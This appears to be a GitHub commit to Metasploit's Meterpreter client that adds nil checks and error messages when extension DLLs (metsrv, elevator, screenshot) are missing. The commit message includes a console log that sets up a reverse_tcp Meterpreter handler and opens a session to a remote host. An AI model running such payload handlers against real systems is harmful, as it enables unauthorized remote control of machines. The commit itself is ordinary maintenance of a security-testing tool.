Skip to content

Commit 5d70b83

Browse files
author
Brent Cook
committed
handle nil results from MeterpreterBinaries.path
When a meterpreter binary cannot be found, give the user some hint about what went wrong. ``` msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.43.1 lhost => 192.168.43.1 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.43.1:4444 [*] Starting the payload handler... [*] Sending stage (770048 bytes) to 192.168.43.252 [*] Meterpreter session 1 opened (192.168.43.1:4444 -> 192.168.43.252:49297) at 2014-12-29 12:32:37 -0600 meterpreter > use mack Loading extension mack... [-] Failed to load extension: No module of the name ext_server_mack.x86.dll found ``` This is also useful for not scaring away would-be developers who replaced only half (the wrong half) of their DLLs from a fresh meterpreter build and everything exploded. Not that thats ever happened to me :)
1 parent 6613745 commit 5d70b83

File tree

3 files changed

+20
-2
lines changed

3 files changed

+20
-2
lines changed

lib/rex/post/meterpreter/client_core.rb

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -159,6 +159,10 @@ def use(mod, opts = { })
159159
path = opts['ExtensionPath']
160160
end
161161

162+
if path == nil
163+
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
164+
end
165+
162166
path = ::File.expand_path(path)
163167

164168
# Load the extension DLL
@@ -225,7 +229,12 @@ def migrate( pid )
225229

226230
# Create the migrate stager
227231
migrate_stager = c.new()
228-
migrate_stager.datastore['DLL'] = MeterpreterBinaries.path('metsrv',binary_suffix)
232+
233+
dll = MeterpreterBinaries.path('metsrv',binary_suffix)
234+
if dll == nil
235+
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
236+
end
237+
migrate_stager.datastore['DLL'] = dll
229238

230239
blob = migrate_stager.stage_payload
231240

lib/rex/post/meterpreter/extensions/priv/priv.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -46,6 +46,9 @@ def getsystem( technique=0 )
4646
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
4747

4848
elevator_path = MeterpreterBinaries.path('elevator', client.binary_suffix)
49+
if elevator_path == nil
50+
raise RuntimeError, "elevator.#{binary_suffix} not found", caller
51+
end
4952

5053
elevator_path = ::File.expand_path( elevator_path )
5154

lib/rex/post/meterpreter/extensions/stdapi/ui.rb

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -157,6 +157,9 @@ def screenshot( quality=50 )
157157
# include the x64 screenshot dll if the host OS is x64
158158
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
159159
screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll')
160+
if screenshot_path == nil
161+
raise RuntimeError, "screenshot.x64.dll not found", caller
162+
end
160163
screenshot_path = ::File.expand_path( screenshot_path )
161164
screenshot_dll = ''
162165
::File.open( screenshot_path, 'rb' ) do |f|
@@ -165,8 +168,11 @@ def screenshot( quality=50 )
165168
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true )
166169
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
167170
end
168-
# but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
171+
# but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
169172
screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll')
173+
if screenshot_path == nil
174+
raise RuntimeError, "screenshot.x86.dll not found", caller
175+
end
170176
screenshot_path = ::File.expand_path( screenshot_path )
171177
screenshot_dll = ''
172178
::File.open( screenshot_path, 'rb' ) do |f|

0 commit comments

Comments
 (0)